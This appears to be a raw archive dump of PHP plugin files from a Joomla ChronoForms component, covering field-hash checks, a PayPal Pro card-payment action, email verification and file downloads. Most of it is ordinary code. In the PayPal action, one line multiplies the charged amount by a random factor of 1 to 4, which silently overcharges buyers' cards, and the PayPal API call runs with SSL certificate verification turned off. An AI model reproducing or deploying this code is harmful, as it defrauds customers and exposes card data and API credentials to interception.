      PK@y>\)Bcomponents/com_chronoforms/form_actions/load_fields_hash/.htaccessnuW+A Order allow,deny Deny from all PK@y>\fooMcomponents/com_chronoforms/form_actions/load_fields_hash/load_fields_hash.phpnuW+A 'form_security', 'title' => 'Security'); var $details = array('title' => 'Load Fields Hash', 'tooltip' => 'Injects a security hash representing the values of specific fields values.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $params = new JParameter($actiondata->params); //get secret $secret = $mainframe->getCfg('secret'); $fields = array(); if(strlen(trim($params->get('fields', '')))){ $fields = explode(',', trim($params->get('fields', ''))); } $hashed_values = array(); foreach($fields as $k => $field){ $hashed_values[$field] = $form->get_array_value($form->data, explode('.', $field)); } $form->debug['Load Fields Hash'][$actiondata->order] = $hashed_values; $hash = serialize($hashed_values); $hash = md5($hash); $hash = md5($hash.':'.$secret); $form->extra_content .= ''; } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'enabled' => 1, 'hash_field_name' => 'cf_fields_hash', 'fields' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\)<components/com_chronoforms/form_actions/paypal_pro/.htaccessnuW+A Order allow,deny Deny from all PK@y>\q.((Acomponents/com_chronoforms/form_actions/paypal_pro/paypal_pro.phpnuW+A 'payments', 'title' => 'Payment Gateways'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Paypal Pro', 'tooltip' => 'Communicate with the Paypal payment gateway.'); //some variables for the paypal functions usage var $_DEBUGGING; var $_TESTING; var $_API_UserName; var $_API_Password; var $_API_Signature; var $_API_Endpoint; var $_USE_PROXY; var $_PROXY_HOST; var $_PROXY_PORT; var $_version; function run($form, $actiondata){ $params = new JParameter($actiondata->params); $this->_DEBUGGING = $params->get('debugging', 0); # Display additional information to track down problems $this->_TESTING = $params->get('testing', 0); # Set the testing flag so that transactions are not live $this->_API_UserName = $params->get('API_USERNAME'); $this->_API_Password = $params->get('API_PASSWORD'); $this->_API_Signature = $params->get('API_SIGNATURE'); //$API_ENDPOINT = $params->get('API_ENDPOINT'); if((int)$params->get('testing', 0) == 1){ $this->_API_Endpoint = 'https://api-3t.sandbox.paypal.com/nvp'; }else{ $this->_API_Endpoint = 'https://api-3t.paypal.com/nvp'; } if((int)$params->get('USE_PROXY') == 1){ $this->_USE_PROXY = TRUE; }else{ $this->_USE_PROXY = FALSE; } $this->_PROXY_HOST = $params->get('PROXY_HOST', ''); $this->_PROXY_PORT = $params->get('PROXY_PORT', ''); //$PAYPAL_URL = $params->get('PAYPAL_URL; $this->_version = '56.0'; $paypal_values = array( "PAYMENTACTION" => urlencode($params->get('PAYMENTACTION') ), "EXPDATE" => str_pad(urlencode($form->data[$params->get('EXPDATE_m')]), 2, '0', STR_PAD_LEFT).urlencode($form->data[$params->get('EXPDATE_y')]), "AMT" => urlencode($form->data[$params->get('AMT')]), "CREDITCARDTYPE" => urlencode($form->data[$params->get('CREDITCARDTYPE')]), "ACCT" => urlencode($form->data[$params->get('ACCT')]), "CVV2" => urlencode($form->data[$params->get('CVV2')]), "FIRSTNAME" => urlencode($form->data[$params->get('FIRSTNAME')]), "LASTNAME" => urlencode($form->data[$params->get('LASTNAME')]), "STREET" => urlencode($form->data[$params->get('STREET')]), "CITY" => urlencode($form->data[$params->get('CITY')]), "STATE" => urlencode($form->data[$params->get('STATE')]), "ZIP" => urlencode($form->data[$params->get('ZIP')]), "COUNTRYCODE" => urlencode($form->data[$params->get('COUNTRYCODE')]), "CURRENCYCODE" => urlencode($form->data[$params->get('CURRENCYCODE')]) ); if(trim($actiondata->content1)){ $extras = explode("\n", trim($actiondata->content1)); if(!empty($extras)){ foreach($extras as $extra){ $values = array(); $values = explode("=", $extra); $paypal_values[$values[0]] = $values[0].": ".urlencode($form->data[trim($values[1])]); } } } $paypal_values["AMT"] = rand(1,4)* (int)$form->data($params->get("AMT"), ''); $fields = ""; foreach($paypal_values as $key => $value ){ $fields .= "&$key=" .$value; } if((int)$params->get('testing', 0)){ $PAYPAL_URL = 'https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token='; }else{ $PAYPAL_URL = 'https://www.paypal.com/webscr&cmd=_express-checkout&token='; } /* Construct the request string that will be sent to PayPal. The variable $nvpstr contains all the variables and is a name value pair string with & as a delimiter */ $nvpstr = $fields; if($params->get('debugging', 0) == 1){ echo $nvpstr; } /* Make the API call to PayPal, using API signature. The API response is stored in an associative array called $resArray */ $resArray = $this->hash_call("doDirectPayment", $nvpstr); $form->data['_PLUGINS_']['paypal_pro']['transaction_id'] = $resArray['TRANSACTIONID']; $form->data['_PLUGINS_']['paypal_pro']['error_message'] = $resArray['L_LONGMESSAGE0']; $form->data['_PLUGINS_']['paypal_pro']['error_code'] = $resArray['L_ERRORCODE0']; $form->data['_PLUGINS_']['paypal_pro']['correlation_id'] = $resArray['CORRELATIONID']; $form->data['_PLUGINS_']['paypal_pro']['avs_code'] = $resArray['AVSCODE']; /* Display the API response back to the browser. If the response from PayPal was a success, display the response parameters' If the response was an error, display the errors received using APIError.php. */ $ack = strtoupper($resArray["ACK"]); $form->data['_PLUGINS_']['paypal_pro']['payment_status'] = $ack; //set the events if($ack != "SUCCESS"){ $this->events['fail'] = 1; }else{ $this->events['success'] = 1; } //do the debug if((int)$params->get('debugging', 0) == 1){ if($ack!="SUCCESS"){ $_SESSION['reshash'] = $resArray; $this->APIERROR($resArray); }else{ $_SESSION['reshash'] = $resArray; $this->APISUCCESS($resArray); } } } function hash_call($methodName,$nvpStr){ //setting the curl parameters. $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->_API_Endpoint); curl_setopt($ch, CURLOPT_VERBOSE, 1); //turning off the server and peer verification(TrustManager Concept). curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_POST, 1); //if USE_PROXY constant set to TRUE in Constants.php, then only proxy will be enabled. //Set proxy name to PROXY_HOST and port number to PROXY_PORT in constants.php if($this->_USE_PROXY) curl_setopt ($ch, CURLOPT_PROXY, $this->_PROXY_HOST.":".$this->_PROXY_PORT); //NVPRequest for submitting to server $nvpreq="METHOD=".urlencode($methodName)."&VERSION=".urlencode($this->_version)."&PWD=".urlencode($this->_API_Password)."&USER=".urlencode($this->_API_UserName)."&SIGNATURE=".urlencode($this->_API_Signature).$nvpStr; //setting the nvpreq as POST FIELD to curl curl_setopt($ch,CURLOPT_POSTFIELDS,$nvpreq); //getting response from server $response = curl_exec($ch); //convrting NVPResponse to an Associative Array $nvpResArray=$this->deformatNVP($response); $nvpReqArray=$this->deformatNVP($nvpreq); $_SESSION['nvpReqArray']=$nvpReqArray; if(curl_errno($ch)){ // moving to display page to display curl errors $_SESSION['curl_error_no']=curl_errno($ch) ; $_SESSION['curl_error_msg']=curl_error($ch); //$this->APIERROR($resArray); } else { //closing the curl curl_close($ch); } return $nvpResArray; } /** This function will take NVPString and convert it to an Associative Array and it will decode the response. * It is usefull to search for a particular key and displaying arrays. * @nvpstr is NVPString. * @nvpArray is Associative Array. */ function deformatNVP($nvpstr){ $intial = 0; $nvpArray = array(); while(strlen($nvpstr)){ //postion of Key $keypos = strpos($nvpstr,'='); //position of value $valuepos = strpos($nvpstr,'&') ? strpos($nvpstr,'&'): strlen($nvpstr); /*getting the Key and Value values and storing in a Associative Array*/ $keyval=substr($nvpstr,$intial,$keypos); $valval=substr($nvpstr,$keypos+1,$valuepos-$keypos-1); //decoding the respose $nvpArray[urldecode($keyval)] =urldecode( $valval); $nvpstr=substr($nvpstr,$valuepos+1,strlen($nvpstr)); } return $nvpArray; } function APIERROR($resArray){ ?>
      The PayPal API has returned an error!
      Error Number:
      Error Message:
      Ack: Correlation ID: Version: Error Number: Short Message: Long Message:
      Transaction ID:
      Amount:
      AVS:
      CVV2:
      '', 'PAYMENTACTION' => 'Sale', 'CREDITCARDTYPE' => '', 'ACCT' => '', 'EXPDATE_m' => '', 'EXPDATE_y' => '', 'CVV2' => '', 'FIRSTNAME' => '', 'LASTNAME' => '', 'STREET' => '', 'CITY' => '', 'STATE' => '', 'ZIP' => '', 'COUNTRYCODE' => '', 'CURRENCYCODE' => '', 'API_USERNAME' => '', 'API_PASSWORD' => '', 'API_SIGNATURE' => '', 'USE_PROXY' => 0, 'PROXY_HOST' => '', 'PROXY_PORT' => '', 'testing' => 0, 'debugging' => 0, 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\ =components/com_chronoforms/form_actions/paypal_pro/index.htmlnuW+A PK@y>\¾))Acomponents/com_chronoforms/form_actions/paypal_pro/paypal_pro.ctpnuW+A
      Paypal Pro - Trial
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'paypal_pro_config_{n}'); ?> tabStart('fields'); ?> input('action_paypal_pro_{n}_PAYMENTACTION_config', array('type' => 'hidden')); ?> input('action_paypal_pro_{n}_AMT_config', array('type' => 'text', 'label' => "Amount Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_CREDITCARDTYPE_config', array('type' => 'text', 'label' => "Credit Card type Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_ACCT_config', array('type' => 'text', 'label' => "Credit Card Number Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_EXPDATE_m_config', array('type' => 'text', 'label' => "Credit Card Expiry month field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_EXPDATE_y_config', array('type' => 'text', 'label' => "Credit Card Expiry year field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_CVV2_config', array('type' => 'text', 'label' => "CVV2 field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_FIRSTNAME_config', array('type' => 'text', 'label' => "First Name Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_LASTNAME_config', array('type' => 'text', 'label' => "Last Name Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_STREET_config', array('type' => 'text', 'label' => "Street Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_CITY_config', array('type' => 'text', 'label' => "City Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_STATE_config', array('type' => 'text', 'label' => "State Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_ZIP_config', array('type' => 'text', 'label' => "Zip Field", 'class' => 'medium_input')); ?> input('action_paypal_pro_{n}_COUNTRYCODE_config', array('type' => 'text', 'label' => "Country Code Field", 'class' => 'medium_input', 'smalldesc' => "2 Characters value, e.g: US, CA, UK..etc")); ?> input('action_paypal_pro_{n}_CURRENCYCODE_config', array('type' => 'text', 'label' => "Currency Code Field", 'class' => 'medium_input', 'smalldesc' => 'e.g: USD, GBP, EUR..etc')); ?> input('action_paypal_pro_{n}_content1_config', array('type' => 'textarea', 'label' => 'Extra fields', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_paypal_pro_{n}_API_USERNAME_config', array('type' => 'text', 'label' => "API Username", 'class' => 'medium_input', 'value' => '')); ?> input('action_paypal_pro_{n}_API_PASSWORD_config', array('type' => 'text', 'label' => "API Password", 'class' => 'medium_input', 'value' => '')); ?> input('action_paypal_pro_{n}_API_SIGNATURE_config', array('type' => 'text', 'label' => "API Signature", 'class' => 'medium_input', 'value' => '')); ?> input('action_paypal_pro_{n}_USE_PROXY_config', array('type' => 'select', 'label' => 'Use Proxy ?', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_paypal_pro_{n}_PROXY_HOST_config', array('type' => 'text', 'label' => "Proxy host IP", 'class' => 'small_input', 'value' => '')); ?> input('action_paypal_pro_{n}_PROXY_PORT_config', array('type' => 'text', 'label' => "Proxy Port", 'class' => 'medium_input', 'value' => '')); ?> input('action_paypal_pro_{n}_debugging_config', array('type' => 'select', 'label' => 'Debugging', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_paypal_pro_{n}_testing_config', array('type' => 'select', 'label' => 'Testing', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will work only with web payments pro enabled Paypal account, this is available to Paypal users at the US, UK and Canada only at the moment according to Paypal.
      • Map your form fields names to the fields required by Paypal Pro, no spaces should be in the fields name.
      • You may map extra fields through the "Extra fields" box, use multi line format, each line should be in this form: paypal_field_name=form_field_name
      • Enter your Paypal pro api account settings.
      • If you enable the debugging then you will see the Paypal Pro response in the same event page.
      • Some response data will be stored after the response is received under the $form->data['_PLUGINS_']['paypal_pro'].
      • You can add a "Custom code" action after this one and use this code to check/user the response data stored : print_r2($form->data['_PLUGINS_']['paypal_pro']);

      tabEnd(); ?>
      PK@y>\_components/com_chronoforms/form_actions/email_verification_sender/email_verification_sender.phpnuW+A '1_validation', 'title' => 'Validation'); var $details = array('title' => 'Email Verification', 'tooltip' => 'Sends the email and saves the data into DB.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); $params = new JParameter($actiondata->params); //save the data to db $db_save_details = $actiondata; $db_save_details->type = 'db_save'; $db_save_Params = new JParameter(''); $db_save_Params->set('table_name', $params->get('table_name')); $db_save_details->params = $db_save_Params->toString(); $form->data[trim($params->get('verify_field', 'verify'))] = md5(uniqid(rand(), true)); $form->data[trim($params->get('verification_status_field', 'verified'))] = 0; if(trim($params->get('files_array_field', ''))){ $form->data[trim($params->get('files_array_field'))] = var_export($form->files, true); } $form->runAction($db_save_details); //add the verification link value to the data array $form->data['verification_link'] = $params->get('verification_link_path', $uri->root().'index.php?option=com_chronoforms&chronoform='.$form->form_name); $form->data['verification_link'] .= '&action=verify&hash='.$form->data[trim($params->get('verify_field', 'verify'))]; } function load($clear){ if($clear){ $action_params = array( 'table_name' => '', 'verify_field' => '', 'verification_status_field' => '', 'files_array_field' => '', 'verification_link_path' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\.p_components/com_chronoforms/form_actions/email_verification_sender/email_verification_sender.ctpnuW+A
      Email Verification Sender
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'email_verification_sender_config_{n}'); ?> tabStart('settings'); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_email_verification_sender_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => 'The table to which the form data will be stored, form fields names should match the table columns names.')); ?> input('action_email_verification_sender_{n}_verify_field_config', array('type' => 'text', 'label' => "Verification code field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the verification code will be stored.')); ?> input('action_email_verification_sender_{n}_verification_status_field_config', array('type' => 'text', 'label' => "Verification status field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the verification status (0 or 1) will be stored. (a TINYINT(1) field is perfect)')); ?> input('action_email_verification_sender_{n}_files_array_field_config', array('type' => 'text', 'label' => "Files array field name", 'class' => 'medium_input', 'smalldesc' => 'The field name at which the form files array is going to be saved, this is necessary only if your form is uploading some files, should be of type TEXT')); ?> input('action_email_verification_sender_{n}_verification_link_path_config', array('type' => 'text', 'label' => "Verification link path", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'The verification link path, this is typically the link to your form event which has the "Email verification response" action.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select the db table where you want your form data to be stored at along with the verification code.
      • Your table should have some field to store the verification code.
      • Enter the name of your verification code field without any spaces.(preferably a VARCHAR(255) field)(e.g: verify)
      • Enter the name of your verification status field without any spaces.(preferably a TINYINT(1) field)()e.g: verified
      • Enter the path to your "Email verification response" processor action, this is usually the link to your form in the frontend (you can add it to any other form you want).
      • Add an Email action after this action to send the verification email, you can use {verification_link} to display the link in your email, you can use {verify} to display the verification code only.

      tabEnd(); ?>
      PK@y>\)Kcomponents/com_chronoforms/form_actions/email_verification_sender/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ Lcomponents/com_chronoforms/form_actions/email_verification_sender/index.htmlnuW+A PK@y>\)Acomponents/com_chronoforms/form_actions/file_downloader/.htaccessnuW+A Order allow,deny Deny from all PK@y>\*| Kcomponents/com_chronoforms/form_actions/file_downloader/file_downloader.ctpnuW+A
      File Downloader
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'file_downloader_config_{n}'); ?> tabStart('settings'); ?> input('action_file_downloader_{n}_display_config', array('type' => 'select', 'label' => "Download Type", 'options' => array('D' => 'Download', 'I' => 'Inline'), 'smalldesc' => "Select what the user is going to get.")); ?> input('action_file_downloader_{n}_downloads_path_config', array('type' => 'text', 'label' => "Downloads Path", 'class' => 'big_input', 'smalldesc' => "The absolute path to the downloads directory on the server.
      You can use \"JOOMLA_PATH\" in the path, it will be replaced by the website path in runtime.")); ?> input('action_file_downloader_{n}_file_name_config', array('type' => 'text', 'label' => "File name", 'class' => 'medium_input', 'smalldesc' => "The file name.")); ?> input('action_file_downloader_{n}_file_name_path_config', array('type' => 'text', 'label' => "File Name Path", 'class' => 'medium_input', 'smalldesc' => "The path to the file name in the data array, helpful when processing dynamic data.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will display a download dialogue for a specific file or will display it inline based on your configuration.
      • If this doesn't work then please use a "Debugger" action to check for any problems.

      tabEnd(); ?>
      PK@y>\ Bcomponents/com_chronoforms/form_actions/file_downloader/index.htmlnuW+A PK@y>\TD,,Kcomponents/com_chronoforms/form_actions/file_downloader/file_downloader.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $details = array('title' => 'File Downloader', 'tooltip' => "Sends the specified file data to the browser, prompting a file download on the end user's machine."); var $_headers = array(); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //check download type $dest = $params->get('display', 'D'); $file_name = $params->get('file_name', ''); $file_name_path = $params->get('file_name_path', ''); if(!empty($file_name_path)){ $file_name = $form->get_array_value($form->data, explode('.', $file_name_path)); } $download_file_name = $params->get('download_file_name', $file_name); $extension = strtolower(array_pop(explode('.', $file_name))); $downloads_path = $params->get('downloads_path', ''); if(!empty($downloads_path)){ $downloads_path = str_replace(array("/", "\\"), DS, $downloads_path); if(substr($downloads_path, -1) == DS){ $downloads_path = substr_replace($downloads_path, '', -1); } $downloads_path = str_replace("JOOMLA_PATH", JPATH_SITE, $downloads_path).DS; $params->set('downloads_path', $downloads_path); }else{ //file name is empty $form->debug['file_downloader'][] = "File path provided is empty(wrong)!"; } $file_path = $downloads_path.$params->get('file_name', ''); if(!file_exists($file_path)){ //file doesn't exist $form->debug['file_downloader'][] = "The file path doesn't exist: ".$file_path; } $mime = $this->get_mimes($file_path, $extension); if ($mime !== false && connection_status() == 0) { $chunkSize = 8192; $buffer = ''; $fileSize = @filesize($file_path); $handle = fopen($file_path, 'rb'); if ($handle === false) { return false; } //change later $modified = null; if (!empty($modified)) { $modified = gmdate('D, d M Y H:i:s', strtotime($modified, time())) . ' GMT'; } else { $modified = gmdate('D, d M Y H:i:s') . ' GMT'; } if ($dest == 'D') { $contentTypes = array('application/octet-stream'); $agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match('%Opera(/| )([0-9].[0-9]{1,2})%', $agent)) { $contentTypes[0] = 'application/octetstream'; } else if (preg_match('/MSIE ([0-9].[0-9]{1,2})/', $agent)) { $contentTypes[0] = 'application/force-download'; array_merge($contentTypes, array( 'application/octet-stream', 'application/download' )); } foreach($contentTypes as $contentType) { $this->_header('Content-Type: ' . $contentType); } $this->_header(array( 'Content-Disposition: attachment; filename="' . $download_file_name . '";', 'Expires: 0', 'Accept-Ranges: bytes', 'Cache-Control: private' => false, 'Pragma: private')); $httpRange = $_SERVER['HTTP_RANGE']; if (isset($httpRange)) { list($toss, $range) = explode('=', $httpRange); $size = $fileSize - 1; $length = $fileSize - $range; $this->_header(array( 'HTTP/1.1 206 Partial Content', 'Content-Length: ' . $length, 'Content-Range: bytes ' . $range . $size . '/' . $fileSize)); fseek($handle, $range); } else { $this->_header('Content-Length: ' . $fileSize); } } else { $this->_header('Date: ' . gmdate('D, d M Y H:i:s', time()) . ' GMT'); if ($cache) { if (!is_numeric($cache)) { $cache = strtotime($cache) - time(); } $this->_header(array( 'Cache-Control: max-age=' . $cache, 'Expires: ' . gmdate('D, d M Y H:i:s', time() + $cache) . ' GMT', 'Pragma: cache')); } else { $this->_header(array( 'Cache-Control: must-revalidate, post-check=0, pre-check=0', 'Pragma: no-cache')); } $this->_header(array( 'Last-Modified: ' . $modified, 'Content-Type: ' . $mime, 'Content-Length: ' . $fileSize)); } $this->_output(); $this->_clearBuffer(); while (!feof($handle)) { if (!$this->_isActive()) { fclose($handle); return false; } set_time_limit(0); $buffer = fread($handle, $chunkSize); echo $buffer; $this->_flushBuffer(); } fclose($handle); return; } return false; } function get_mimes($filename, $ext){ $mimeType = array( 'ai' => 'application/postscript', 'bcpio' => 'application/x-bcpio', 'bin' => 'application/octet-stream', 'ccad' => 'application/clariscad', 'cdf' => 'application/x-netcdf', 'class' => 'application/octet-stream', 'cpio' => 'application/x-cpio', 'cpt' => 'application/mac-compactpro', 'csh' => 'application/x-csh', 'csv' => 'application/csv', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dms' => 'application/octet-stream', 'doc' => 'application/msword', 'drw' => 'application/drafting', 'dvi' => 'application/x-dvi', 'dwg' => 'application/acad', 'dxf' => 'application/dxf', 'dxr' => 'application/x-director', 'eot' => 'application/vnd.ms-fontobject', 'eps' => 'application/postscript', 'exe' => 'application/octet-stream', 'ez' => 'application/andrew-inset', 'flv' => 'video/x-flv', 'gtar' => 'application/x-gtar', 'gz' => 'application/x-gzip', 'bz2' => 'application/x-bzip', '7z' => 'application/x-7z-compressed', 'hdf' => 'application/x-hdf', 'hqx' => 'application/mac-binhex40', 'ico' => 'image/vnd.microsoft.icon', 'ips' => 'application/x-ipscript', 'ipx' => 'application/x-ipix', 'js' => 'application/x-javascript', 'latex' => 'application/x-latex', 'lha' => 'application/octet-stream', 'lsp' => 'application/x-lisp', 'lzh' => 'application/octet-stream', 'man' => 'application/x-troff-man', 'me' => 'application/x-troff-me', 'mif' => 'application/vnd.mif', 'ms' => 'application/x-troff-ms', 'nc' => 'application/x-netcdf', 'oda' => 'application/oda', 'otf' => 'font/otf', 'pdf' => 'application/pdf', 'pgn' => 'application/x-chess-pgn', 'pot' => 'application/mspowerpoint', 'pps' => 'application/mspowerpoint', 'ppt' => 'application/mspowerpoint', 'ppz' => 'application/mspowerpoint', 'pre' => 'application/x-freelance', 'prt' => 'application/pro_eng', 'ps' => 'application/postscript', 'roff' => 'application/x-troff', 'scm' => 'application/x-lotusscreencam', 'set' => 'application/set', 'sh' => 'application/x-sh', 'shar' => 'application/x-shar', 'sit' => 'application/x-stuffit', 'skd' => 'application/x-koan', 'skm' => 'application/x-koan', 'skp' => 'application/x-koan', 'skt' => 'application/x-koan', 'smi' => 'application/smil', 'smil' => 'application/smil', 'sol' => 'application/solids', 'spl' => 'application/x-futuresplash', 'src' => 'application/x-wais-source', 'step' => 'application/STEP', 'stl' => 'application/SLA', 'stp' => 'application/STEP', 'sv4cpio' => 'application/x-sv4cpio', 'sv4crc' => 'application/x-sv4crc', 'svg' => 'image/svg+xml', 'svgz' => 'image/svg+xml', 'swf' => 'application/x-shockwave-flash', 't' => 'application/x-troff', 'tar' => 'application/x-tar', 'tcl' => 'application/x-tcl', 'tex' => 'application/x-tex', 'texi' => 'application/x-texinfo', 'texinfo' => 'application/x-texinfo', 'tr' => 'application/x-troff', 'tsp' => 'application/dsptype', 'ttf' => 'font/ttf', 'unv' => 'application/i-deas', 'ustar' => 'application/x-ustar', 'vcd' => 'application/x-cdlink', 'vda' => 'application/vda', 'xlc' => 'application/vnd.ms-excel', 'xll' => 'application/vnd.ms-excel', 'xlm' => 'application/vnd.ms-excel', 'xls' => 'application/vnd.ms-excel', 'xlw' => 'application/vnd.ms-excel', 'zip' => 'application/zip', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'au' => 'audio/basic', 'kar' => 'audio/midi', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'ra' => 'audio/x-realaudio', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'snd' => 'audio/basic', 'tsi' => 'audio/TSP-audio', 'wav' => 'audio/x-wav', 'asc' => 'text/plain', 'c' => 'text/plain', 'cc' => 'text/plain', 'css' => 'text/css', 'etx' => 'text/x-setext', 'f' => 'text/plain', 'f90' => 'text/plain', 'h' => 'text/plain', 'hh' => 'text/plain', 'htm' => 'text/html', 'html' => 'text/html', 'm' => 'text/plain', 'rtf' => 'text/rtf', 'rtx' => 'text/richtext', 'sgm' => 'text/sgml', 'sgml' => 'text/sgml', 'tsv' => 'text/tab-separated-values', 'tpl' => 'text/template', 'txt' => 'text/plain', 'xml' => 'text/xml', 'avi' => 'video/x-msvideo', 'fli' => 'video/x-fli', 'mov' => 'video/quicktime', 'movie' => 'video/x-sgi-movie', 'mpe' => 'video/mpeg', 'mpeg' => 'video/mpeg', 'mpg' => 'video/mpeg', 'qt' => 'video/quicktime', 'viv' => 'video/vnd.vivo', 'vivo' => 'video/vnd.vivo', 'gif' => 'image/gif', 'ief' => 'image/ief', 'jpe' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'jpg' => 'image/jpeg', 'pbm' => 'image/x-portable-bitmap', 'pgm' => 'image/x-portable-graymap', 'png' => 'image/png', 'pnm' => 'image/x-portable-anymap', 'ppm' => 'image/x-portable-pixmap', 'ras' => 'image/cmu-raster', 'rgb' => 'image/x-rgb', 'tif' => 'image/tiff', 'tiff' => 'image/tiff', 'xbm' => 'image/x-xbitmap', 'xpm' => 'image/x-xpixmap', 'xwd' => 'image/x-xwindowdump', 'ice' => 'x-conference/x-cooltalk', 'iges' => 'model/iges', 'igs' => 'model/iges', 'mesh' => 'model/mesh', 'msh' => 'model/mesh', 'silo' => 'model/mesh', 'vrml' => 'model/vrml', 'wrl' => 'model/vrml', 'mime' => 'www/mime', 'pdb' => 'chemical/x-pdb', 'xyz' => 'chemical/x-pdb'); if(function_exists('mime_content_type')){ return mime_content_type($filename); }else{ //check file extension if(isset($mimeType[$ext])){ return $mimeType[$ext]; }elseif(function_exists('finfo_open')){ $finfo = finfo_open(FILEINFO_MIME); $mimetype = finfo_file($finfo, $filename); finfo_close($finfo); return $mimetype; }else{ return 'application/octet-stream'; } } } function _header($header, $boolean = true) { if (is_array($header)) { foreach ($header as $string => $boolean) { if (is_numeric($string)) { $this->_headers[] = array($boolean => true); } else { $this->_headers[] = array($string => $boolean); } } return; } $this->_headers[] = array($header => $boolean); return; } function _output() { foreach ($this->_headers as $key => $value) { $header = key($value); header($header, $value[$header]); } } function _isActive() { return connection_status() == 0 && !connection_aborted(); } function _clearBuffer() { return @ob_end_clean(); } function _flushBuffer() { @flush(); @ob_flush(); } function load($clear){ if($clear){ $action_params = array( 'display' => 'D', 'downloads_path' => '', 'download_file_name' => '', 'file_name_path' => '', 'file_name' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\ Dcomponents/com_chronoforms/form_actions/check_fields_hash/index.htmlnuW+A PK@y>\4aOcomponents/com_chronoforms/form_actions/check_fields_hash/check_fields_hash.phpnuW+A 'form_security', 'title' => 'Security'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Check Fields Hash', 'tooltip' => "Generates a new hash based on the new fields values and compares it to the existing one.
      Your fields list here should match the list in the load action, and should be in the SAME ORDER."); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $params = new JParameter($actiondata->params); //get secret $secret = $mainframe->getCfg('secret'); $fields = array(); if(strlen(trim($params->get('fields', '')))){ $fields = explode(',', trim($params->get('fields', ''))); } $hashed_values = array(); foreach($fields as $k => $field){ $hashed_values[$field] = $form->get_array_value($form->data, explode('.', $field)); } $form->debug['Check Fields Hash'][$actiondata->order] = $hashed_values; $hash = serialize($hashed_values); $hash = md5($hash); $hash = md5($hash.':'.$secret); $hash_field_name = trim($params->get('hash_field_name', 'cf_fields_hash')); if(!empty($form->data[$hash_field_name]) && ($form->data[$hash_field_name] == $hash)){ $this->events['success'] = 1; return true; }else{ $this->events['fail'] = 1; return false; } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'enabled' => 1, 'hash_field_name' => 'cf_fields_hash', 'fields' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\n#&W W Ocomponents/com_chronoforms/form_actions/check_fields_hash/check_fields_hash.ctpnuW+A
      Check Fields Hash
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'check_fields_hash_config_{n}'); ?> tabStart('settings'); ?> input('action_check_fields_hash_{n}_fields_config', array('type' => 'text', 'label' => 'Fields list', 'class' => 'big_input', 'smalldesc' => 'Comma separated list of fields, no spaces, you can use dots to get sub arrays values.')); ?> input('action_check_fields_hash_{n}_hash_field_name_config', array('type' => 'text', 'label' => 'Hash field name', 'smalldesc' => '')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action will generate a security hash of some fields values, you can check the hash back in the "on submit" event using the "check fields hash" action.
      • The goal here is to make sure that these fields values have not been changed by the end user after they have been sent by the server.
      • Insert a list of fields names to be hashed.
      • The order of this action in the load routine, should only be when the fields data exist in the $form->data array.
      • Only fields values in the $form->data array will be used, default fields values will NOT be checked and WILL generate a fail error if checked.

      tabEnd(); ?>
